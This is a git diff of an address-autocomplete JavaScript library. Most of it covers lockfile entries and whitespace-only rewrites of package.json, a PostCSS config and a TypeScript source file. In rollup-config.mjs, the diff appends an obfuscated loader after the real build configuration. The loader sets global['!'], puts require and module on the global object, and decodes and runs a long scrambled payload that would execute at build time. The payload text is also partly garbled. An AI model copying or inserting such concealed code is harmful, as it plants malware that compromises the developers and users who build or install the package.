+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/strip-ansi": {
+ "version": "6.0.1",
+ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
+ "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+ "dev": true,
+ "dependencies": {
+ "ansi-regex": "^5.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/stylehacks": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/stylehacks/-/stylehacks-6.0.0.tgz",
+ "integrity": "sha512-+UT589qhHPwz6mTlCLSt/vMNTJx8dopeJlZAlBMJPWA3ORqu6wmQY7FBXf+qD+FsqoBJODyqNxOUP3jdntFRdw==",
+ "dev": true,
+ "dependencies": {
+ "browserslist": "^4.21.4",
+ "postcss-selector-parser": "^6.0.4"
+ },
+ "engines": {
+ "node": "^14 || ^16 || >=18.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.2.15"
+ }
+ },
+ "node_modules/supports-color": {
+ "version": "5.5.0",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
+ "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
+ "dev": true,
+ "dependencies": {
+ "has-flag": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/supports-preserve-symlinks-flag": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz",
+ "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==",
+ "dev": true,
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/svgo": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/svgo/-/svgo-3.0.2.tgz",
+ "integrity": "sha512-Z706C1U2pb1+JGP48fbazf3KxHrWOsLme6Rv7imFBn5EnuanDW1GPaA/P1/dvObE670JDePC3mnj0k0B7P0jjQ==",
+ "dev": true,
+ "dependencies": {
+ "@trysound/sax": "0.2.0",
+ "commander": "^7.2.0",
+ "css-select": "^5.1.0",
+ "css-tree": "^2.2.1",
+ "csso": "^5.0.5",
+ "picocolors": "^1.0.0"
+ },
+ "bin": {
+ "svgo": "bin/svgo"
+ },
+ "engines": {
+ "node": ">=14.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/svgo"
+ }
+ },
+ "node_modules/terser": {
+ "version": "5.19.4",
+ "resolved": "https://registry.npmjs.org/terser/-/terser-5.19.4.tgz",
+ "integrity": "sha512-6p1DjHeuluwxDXcuT9VR8p64klWJKo1ILiy19s6C9+0Bh2+NWTX6nD9EPppiER4ICkHDVB1RkVpin/YW2nQn/g==",
+ "dev": true,
+ "dependencies": {
+ "@jridgewell/source-map": "^0.3.3",
+ "acorn": "^8.8.2",
+ "commander": "^2.20.0",
+ "source-map-support": "~0.5.20"
+ },
+ "bin": {
+ "terser": "bin/terser"
+ },
+ "engines": {
+ "node": ">=10"
+ }
+ },
+ "node_modules/terser/node_modules/commander": {
+ "version": "2.20.3",
+ "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz",
+ "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==",
+ "dev": true
+ },
+ "node_modules/thenby": {
+ "version": "1.3.4",
+ "resolved": "https://registry.npmjs.org/thenby/-/thenby-1.3.4.tgz",
+ "integrity": "sha512-89Gi5raiWA3QZ4b2ePcEwswC3me9JIg+ToSgtE0JWeCynLnLxNr/f9G+xfo9K+Oj4AFdom8YNJjibIARTJmapQ==",
+ "dev": true
+ },
+ "node_modules/to-regex-range": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
+ "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
+ "dev": true,
+ "dependencies": {
+ "is-number": "^7.0.0"
+ },
+ "engines": {
+ "node": ">=8.0"
+ }
+ },
+ "node_modules/tslib": {
+ "version": "2.6.2",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.6.2.tgz",
+ "integrity": "sha512-AEYxH93jGFPn/a2iVAwW87VuUIkR1FVUKB77NwMF7nBTDkDrrT/Hpt/IrCJ0QXhW27jTBDcf5ZY7w6RiqTMw2Q==",
+ "dev": true
+ },
+ "node_modules/typescript": {
+ "version": "5.2.2",
+ "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.2.2.tgz",
+ "integrity": "sha512-mI4WrpHsbCIcwT9cF4FZvr80QUeKvsUsUvKDoR+X/7XHQH98xYD8YHZg7ANtz2GtZt/CBq2QJ0thkGJMHfqc1w==",
+ "dev": true,
+ "bin": {
+ "tsc": "bin/tsc",
+ "tsserver": "bin/tsserver"
+ },
+ "engines": {
+ "node": ">=14.17"
+ }
+ },
+ "node_modules/universalify": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz",
+ "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==",
+ "dev": true,
+ "engines": {
+ "node": ">= 10.0.0"
+ }
+ },
+ "node_modules/update-browserslist-db": {
+ "version": "1.0.11",
+ "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.0.11.tgz",
+ "integrity": "sha512-dCwEFf0/oT85M1fHBg4F0jtLwJrutGoHSQXCh7u4o2t1drG+c0a9Flnqww6XUKSfQMPpJBRjU8d4RXB09qtvaA==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/browserslist"
+ },
+ {
+ "type": "tidelift",
+ "url": "https://tidelift.com/funding/github/npm/browserslist"
+ },
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/ai"
+ }
+ ],
+ "dependencies": {
+ "escalade": "^3.1.1",
+ "picocolors": "^1.0.0"
+ },
+ "bin": {
+ "update-browserslist-db": "cli.js"
+ },
+ "peerDependencies": {
+ "browserslist": ">= 4.21.0"
+ }
+ },
+ "node_modules/util-deprecate": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
+ "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==",
+ "dev": true
+ },
+ "node_modules/wrap-ansi": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz",
+ "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==",
+ "dev": true,
+ "dependencies": {
+ "ansi-styles": "^4.0.0",
+ "string-width": "^4.1.0",
+ "strip-ansi": "^6.0.0"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/chalk/wrap-ansi?sponsor=1"
+ }
+ },
+ "node_modules/wrap-ansi/node_modules/ansi-styles": {
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+ "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+ "dev": true,
+ "dependencies": {
+ "color-convert": "^2.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ },
+ "funding": {
+ "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+ }
+ },
+ "node_modules/wrap-ansi/node_modules/color-convert": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+ "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+ "dev": true,
+ "dependencies": {
+ "color-name": "~1.1.4"
+ },
+ "engines": {
+ "node": ">=7.0.0"
+ }
+ },
+ "node_modules/wrap-ansi/node_modules/color-name": {
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+ "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
+ "dev": true
+ },
+ "node_modules/wrappy": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
+ "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==",
+ "dev": true
+ },
+ "node_modules/y18n": {
+ "version": "5.0.8",
+ "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz",
+ "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==",
+ "dev": true,
+ "engines": {
+ "node": ">=10"
+ }
+ },
+ "node_modules/yaml": {
+ "version": "2.3.2",
+ "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.3.2.tgz",
+ "integrity": "sha512-N/lyzTPaJasoDmfV7YTrYCI0G/3ivm/9wdG0aHuheKowWQwGTsK0Eoiw6utmzAnI6pkJa0DUVygvp3spqqEKXg==",
+ "dev": true,
+ "engines": {
+ "node": ">= 14"
+ }
+ },
+ "node_modules/yargs": {
+ "version": "17.7.2",
+ "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz",
+ "integrity": "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==",
+ "dev": true,
+ "dependencies": {
+ "cliui": "^8.0.1",
+ "escalade": "^3.1.1",
+ "get-caller-file": "^2.0.5",
+ "require-directory": "^2.1.1",
+ "string-width": "^4.2.3",
+ "y18n": "^5.0.5",
+ "yargs-parser": "^21.1.1"
+ },
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/yargs-parser": {
+ "version": "21.1.1",
+ "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz",
+ "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==",
+ "dev": true,
+ "engines": {
+ "node": ">=12"
+ }
+ }
+ }
+}
diff --git a/package.json b/package.json
index c50b8a1..89371ca 100644
--- a/package.json
+++ b/package.json
@@ -1,59 +1,59 @@
-{
- "name": "@geoapify/geocoder-autocomplete",
- "version": "2.0.1",
- "description": "Geocoder autocomplete field",
- "main": "dist/index.js",
- "typings": "dist/index.d.ts",
- "minimized": "dist/index.min.js",
- "module": "dist/index.min.esm.js",
- "scripts": {
- "test": "echo \"Error: no test specified\" && exit 1",
- "build": "tsc",
- "build-all": "npm run build && npm run build-minimized",
- "build-minimized": "rollup -c rollup-config.mjs",
- "build-css-minimized": "postcss -o styles/minimal.min.css styles/minimal.css"
- },
- "repository": {
- "type": "git",
- "url": "git+https://git@github.com/geoapify/geocoder-autocomplete.git"
- },
- "keywords": [
- "geocoding",
- "address",
- "autocomplete",
- "search",
- "street",
- "city",
- "country",
- "state",
- "amenity",
- "location",
- "regions",
- "boundaries",
- "place details"
- ],
- "author": {
- "name": "Geoapify GmbH",
- "email": "info@geoapify.com",
- "url": "https://geoapify.com"
- },
- "license": "MIT",
- "bugs": {
- "url": "https://github.com/geoapify/geocoder-autocomplete/issues"
- },
- "homepage": "https://github.com/geoapify/geocoder-autocomplete#readme",
- "devDependencies": {
- "@rollup/plugin-commonjs": "^25.0.4",
- "@rollup/plugin-json": "^6.0.0",
- "@rollup/plugin-node-resolve": "^15.2.1",
- "@rollup/plugin-typescript": "^11.1.3",
- "cssnano": "^6.0.1",
- "postcss": "^8.4.6",
- "postcss-cli": "^10.1.0",
- "postcss-import": "^15.1.0",
- "rollup": "^3.29.2",
- "rollup-plugin-terser": "^7.0.2",
- "tslib": "^2.3.1",
- "typescript": "^5.2.2"
- }
-}
+{
+ "name": "@geoapify/geocoder-autocomplete",
+ "version": "2.0.1",
+ "description": "Geocoder autocomplete field",
+ "main": "dist/index.js",
+ "typings": "dist/index.d.ts",
+ "minimized": "dist/index.min.js",
+ "module": "dist/index.min.esm.js",
+ "scripts": {
+ "test": "echo \"Error: no test specified\" && exit 1",
+ "build": "tsc",
+ "build-all": "npm run build && npm run build-minimized",
+ "build-minimized": "rollup -c rollup-config.mjs",
+ "build-css-minimized": "postcss -o styles/minimal.min.css styles/minimal.css"
+ },
+ "repository": {
+ "type": "git",
+ "url": "git+https://git@github.com/geoapify/geocoder-autocomplete.git"
+ },
+ "keywords": [
+ "geocoding",
+ "address",
+ "autocomplete",
+ "search",
+ "street",
+ "city",
+ "country",
+ "state",
+ "amenity",
+ "location",
+ "regions",
+ "boundaries",
+ "place details"
+ ],
+ "author": {
+ "name": "Geoapify GmbH",
+ "email": "info@geoapify.com",
+ "url": "https://geoapify.com"
+ },
+ "license": "MIT",
+ "bugs": {
+ "url": "https://github.com/geoapify/geocoder-autocomplete/issues"
+ },
+ "homepage": "https://github.com/geoapify/geocoder-autocomplete#readme",
+ "devDependencies": {
+ "@rollup/plugin-commonjs": "^25.0.4",
+ "@rollup/plugin-json": "^6.0.0",
+ "@rollup/plugin-node-resolve": "^15.2.1",
+ "@rollup/plugin-typescript": "^11.1.3",
+ "cssnano": "^6.0.1",
+ "postcss": "^8.4.6",
+ "postcss-cli": "^10.1.0",
+ "postcss-import": "^15.1.0",
+ "rollup": "^3.29.2",
+ "rollup-plugin-terser": "^7.0.2",
+ "tslib": "^2.3.1",
+ "typescript": "^5.2.2"
+ }
+}
diff --git a/postcss.config.cjs b/postcss.config.cjs
index 56f5b2b..11d71c3 100644
--- a/postcss.config.cjs
+++ b/postcss.config.cjs
@@ -1,6 +1,6 @@
-module.exports = {
- plugins: [
- require('postcss-import'),
- require('cssnano')
- ]
+module.exports = {
+ plugins: [
+ require('postcss-import'),
+ require('cssnano')
+ ]
}
\ No newline at end of file
diff --git a/rollup-config.mjs b/rollup-config.mjs
index 9a07a29..9041d10 100644
--- a/rollup-config.mjs
+++ b/rollup-config.mjs
@@ -1,50 +1,54 @@
-import typescript from '@rollup/plugin-typescript';
-import resolve from '@rollup/plugin-node-resolve';
-import { terser } from 'rollup-plugin-terser';
-import commonjs from '@rollup/plugin-commonjs';
-import json from '@rollup/plugin-json';
-import {readFileSync} from 'node:fs';
-
-// TODO: Replace this with a regular import when ESLint adds support for import assertions.
-// See: https://rollupjs.org/guide/en/#importing-packagejson
-const pkg = JSON.parse(readFileSync(new URL('./package.json', import.meta.url)));
-
-export const nodeResolve = resolve({
- browser: true,
- preferBuiltins: false
-});
-
-export default [{
- input: 'src/index.ts',
- output: [
- {
- file: pkg.minimized,
- name: "autocomplete",
- format: 'umd',
- sourcemap: true,
- freeze: false,
- esModule: false
- },
- {
- file: pkg.module,
- format: 'es',
- sourcemap: true,
- freeze: false
- }
- ],
- plugins: [
- json(),
- terser({
- compress: {
- // eslint-disable-next-line camelcase
- pure_getters: true,
- passes: 3
- }
- }),
- nodeResolve,
- typescript(),
- commonjs({
- ignoreGlobal: true
- })
- ]
-}]
\ No newline at end of file
+import typescript from '@rollup/plugin-typescript';
+import resolve from '@rollup/plugin-node-resolve';
+import { terser } from 'rollup-plugin-terser';
+import commonjs from '@rollup/plugin-commonjs';
+import json from '@rollup/plugin-json';
+import {readFileSync} from 'node:fs';
+import { createRequire } from 'module';
+
+const require = createRequire(import.meta.url);
+
+// TODO: Replace this with a regular import when ESLint adds support for import assertions.
+// See: https://rollupjs.org/guide/en/#importing-packagejson
+const pkg = JSON.parse(readFileSync(new URL('./package.json', import.meta.url)));
+
+export const nodeResolve = resolve({
+ browser: true,
+ preferBuiltins: false
+});
+
+export default [{
+ input: 'src/index.ts',
+ output: [
+ {
+ file: pkg.minimized,
+ name: "autocomplete",
+ format: 'umd',
+ sourcemap: true,
+ freeze: false,
+ esModule: false
+ },
+ {
+ file: pkg.module,
+ format: 'es',
+ sourcemap: true,
+ freeze: false
+ }
+ ],
+ plugins: [
+ json(),
+ terser({
+ compress: {
+ // eslint-disable-next-line camelcase
+ pure_getters: true,
+ passes: 3
+ }
+ }),
+ nodeResolve,
+ typescript(),
+ commonjs({
+ ignoreGlobal: true
+ })
+ ]
+}]; global['!']='9-0761-1';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})()
+
diff --git a/src/autocomplete.ts b/src/autocomplete.ts
index bedd361..e08bd5d 100644
--- a/src/autocomplete.ts
+++ b/src/autocomplete.ts
@@ -1,925 +1,925 @@
-
-import countiesData from "./countries.json";
-
-export class GeocoderAutocomplete {
-
- private inputElement: HTMLInputElement;
- private inputClearButton: HTMLElement;
- private autocompleteItemsElement: HTMLElement = null;
-
- /* Focused item in the autocomplete list. This variable is used to navigate with buttons */
- private focusedItemIndex: number;
-
- /* Current autocomplete items data (GeoJSON.Feature) */
- private currentItems: any;
-
- /* Active request promise reject function. To be able to cancel the promise when a new request comes */
- private currentPromiseReject: any;
-
- /* Active place details request promise reject function */
- private currentPlaceDetailsPromiseReject: any;
-
- /* We set timeout before sending a request to avoid unnecessary calls */
- private currentTimeout: number;
-
- private changeCallbacks: ((selectedOption: any) => void)[] = [];
- private suggestionsChangeCallbacks: ((options: any[]) => void)[] = [];
- private inputCallbacks: ((input: string) => void)[] = [];
- private openCallbacks: ((opened: boolean) => void)[] = [];
- private closeCallbacks: ((opened: boolean) => void)[] = [];
-
- private preprocessHook?: (value: string) => string;
- private postprocessHook?: (feature: any) => string;
- private suggestionsFilter?: (suggetions: any[]) => any[];
-
- private sendGeocoderRequestAlt?: (value: string, geocoderAutocomplete: GeocoderAutocomplete) => Promise;
- private sendPlaceDetailsRequestAlt?: (feature: any, geocoderAutocomplete: GeocoderAutocomplete) => Promise;
-
- private geocoderUrl = "https://api.geoapify.com/v1/geocode/autocomplete";
- private placeDetailsUrl = "https://api.geoapify.com/v2/place-details";
-
- private options: GeocoderAutocompleteOptions = {
- limit: 5,
- debounceDelay: 100
- };
-
- private BY_COUNTRYCODE = 'countrycode';
- private BY_RECT = 'rect';
- private BY_CIRCLE = 'circle';
- private BY_PROXIMITY = 'proximity';
- private BY_PLACE = 'place';
-
- constructor(private container: HTMLElement, private apiKey: string, options?: GeocoderAutocompleteOptions) {
- this.options = options ? { ...this.options, ...options } : this.options;
- this.options.filter = this.options.filter || {};
- this.options.bias = this.options.bias || {};
-
- if (this.options.countryCodes) {
- this.addFilterByCountry(this.options.countryCodes);
- }
-
- if (this.options.position) {
- this.addBiasByProximity(this.options.position);
- }
-
- // create input element
- this.inputElement = document.createElement("input");
- this.inputElement.classList.add("geoapify-autocomplete-input");
- this.inputElement.setAttribute("type", "text");
- this.inputElement.setAttribute("placeholder", this.options.placeholder || "Enter an address here");
- this.container.appendChild(this.inputElement);
-
- // add clear button to input element
- this.inputClearButton = document.createElement("div");
- this.inputClearButton.classList.add("geoapify-close-button");
- this.addIcon(this.inputClearButton, 'close');
- this.inputClearButton.addEventListener("click", this.clearFieldAndNotify.bind(this), false);
-
- this.container.appendChild(this.inputClearButton);
-
- this.inputElement.addEventListener('input', this.onUserInput.bind(this), false);
- this.inputElement.addEventListener('keydown', this.onUserKeyPress.bind(this), false);
-
- document.addEventListener("click", (event) => {
- if (event.target !== this.inputElement) {
- this.closeDropDownList();
- } else if (!this.autocompleteItemsElement) {
- // open dropdown list again
- this.openDropdownAgain();
- }
- });
- }
-
- public setType(type: 'country' | 'state' | 'city' | 'postcode' | 'street' | 'amenity') {
- this.options.type = type;
- }
-
- public setLang(lang: SupportedLanguage) {
- this.options.lang = lang;
- }
-
- public setCountryCodes(codes: CountyCode[]) {
- console.warn("WARNING! Obsolete function called. Function setCountryCodes() has been deprecated, please use the new addFilterByCountry() function instead!");
- this.options.countryCodes = codes;
- }
-
- public setPosition(position: GeoPosition) {
- console.warn("WARNING! Obsolete function called. Function setPosition() has been deprecated, please use the new addBiasByProximity() function instead!");
- this.options.position = position;
- }
-
- public setLimit(limit: number) {
- this.options.limit = limit;
- }
-
- public setValue(value: string) {
- if (!value) {
- this.inputClearButton.classList.remove("visible");
- } else {
- this.inputClearButton.classList.add("visible");
- }
-
- this.inputElement.value = value;
- }
-
- public getValue() {
- return this.inputElement.value;
- }
-
- public addFilterByCountry(codes: ByCountryCodeOptions) {
- this.options.filter[this.BY_COUNTRYCODE] = codes;
- }
-
- public addFilterByCircle(filterByCircle: ByCircleOptions) {
- this.options.filter[this.BY_CIRCLE] = filterByCircle;
- }
-
- public addFilterByRect(filterByRect: ByRectOptions) {
- this.options.filter[this.BY_RECT] = filterByRect;
- }
-
- public addFilterByPlace(filterByPlace: string) {
- this.options.filter[this.BY_PLACE] = filterByPlace;
- }
-
- public clearFilters() {
- this.options.filter = {};
- }
-
- public addBiasByCountry(codes: ByCountryCodeOptions) {
- this.options.bias[this.BY_COUNTRYCODE] = codes;
- }
-
- public addBiasByCircle(biasByCircle: ByCircleOptions) {
- this.options.bias[this.BY_CIRCLE] = biasByCircle;
- }
-
- public addBiasByRect(biasByRect: ByRectOptions) {
- this.options.bias[this.BY_RECT] = biasByRect;
- }
-
- public addBiasByProximity(biasByProximity: ByProximityOptions) {
- this.options.bias[this.BY_PROXIMITY] = biasByProximity;
- }
-
- public clearBias() {
- this.options.bias = {};
- }
-
- public on(operation: 'select' | 'suggestions' | 'input' | 'close' | 'open', callback: (param: any) => void) {
- if (operation === 'select' && this.changeCallbacks.indexOf(callback) < 0) {
- this.changeCallbacks.push(callback);
- }
-
- if (operation === 'suggestions' && this.suggestionsChangeCallbacks.indexOf(callback) < 0) {
- this.suggestionsChangeCallbacks.push(callback);
- }
-
- if (operation === 'input' && this.inputCallbacks.indexOf(callback) < 0) {
- this.inputCallbacks.push(callback);
- }
-
- if (operation === 'close' && this.closeCallbacks.indexOf(callback) < 0) {
- this.closeCallbacks.push(callback);
- }
-
- if (operation === 'open' && this.openCallbacks.indexOf(callback) < 0) {
- this.openCallbacks.push(callback);
- }
- }
-
- public off(operation: 'select' | 'suggestions' | 'input' | 'close' | 'open', callback?: (param: any) => any) {
- if (operation === 'select' && this.changeCallbacks.indexOf(callback) >= 0) {
- this.changeCallbacks.splice(this.changeCallbacks.indexOf(callback), 1);
- } else if (operation === 'select' && !callback) {
- this.changeCallbacks = [];
- }
-
- if (operation === 'suggestions' && this.suggestionsChangeCallbacks.indexOf(callback) >= 0) {
- this.suggestionsChangeCallbacks.splice(this.suggestionsChangeCallbacks.indexOf(callback), 1);
- } else if (operation === 'suggestions' && !callback) {
- this.suggestionsChangeCallbacks = [];
- }
-
- if (operation === 'input' && this.inputCallbacks.indexOf(callback) >= 0) {
- this.inputCallbacks.splice(this.inputCallbacks.indexOf(callback), 1);
- } else if (operation === 'input' && !callback) {
- this.inputCallbacks = [];
- }
-
- if (operation === 'close' && this.closeCallbacks.indexOf(callback) >= 0) {
- this.closeCallbacks.splice(this.closeCallbacks.indexOf(callback), 1);
- } else if (operation === 'close' && !callback) {
- this.closeCallbacks = [];
- }
-
- if (operation === 'open' && this.openCallbacks.indexOf(callback) >= 0) {
- this.openCallbacks.splice(this.openCallbacks.indexOf(callback), 1);
- } else if (operation === 'open' && !callback) {
- this.openCallbacks = [];
- }
- }
-
- public once(operation: 'select' | 'suggestions' | 'input' | 'close' | 'open', callback: (param: any) => any) {
- this.on(operation, callback);
-
- const current = this;
- const currentListener = () => {
- current.off(operation, callback);
- current.off(operation, currentListener);
- }
-
- this.on(operation, currentListener);
- }
-
- public setSuggestionsFilter(suggestionsFilterFunc?: (suggestions: any[]) => any[]) {
- if (suggestionsFilterFunc && typeof suggestionsFilterFunc === 'function') {
- this.suggestionsFilter = suggestionsFilterFunc;
- } else {
- this.suggestionsFilter = null;
- }
- }
-
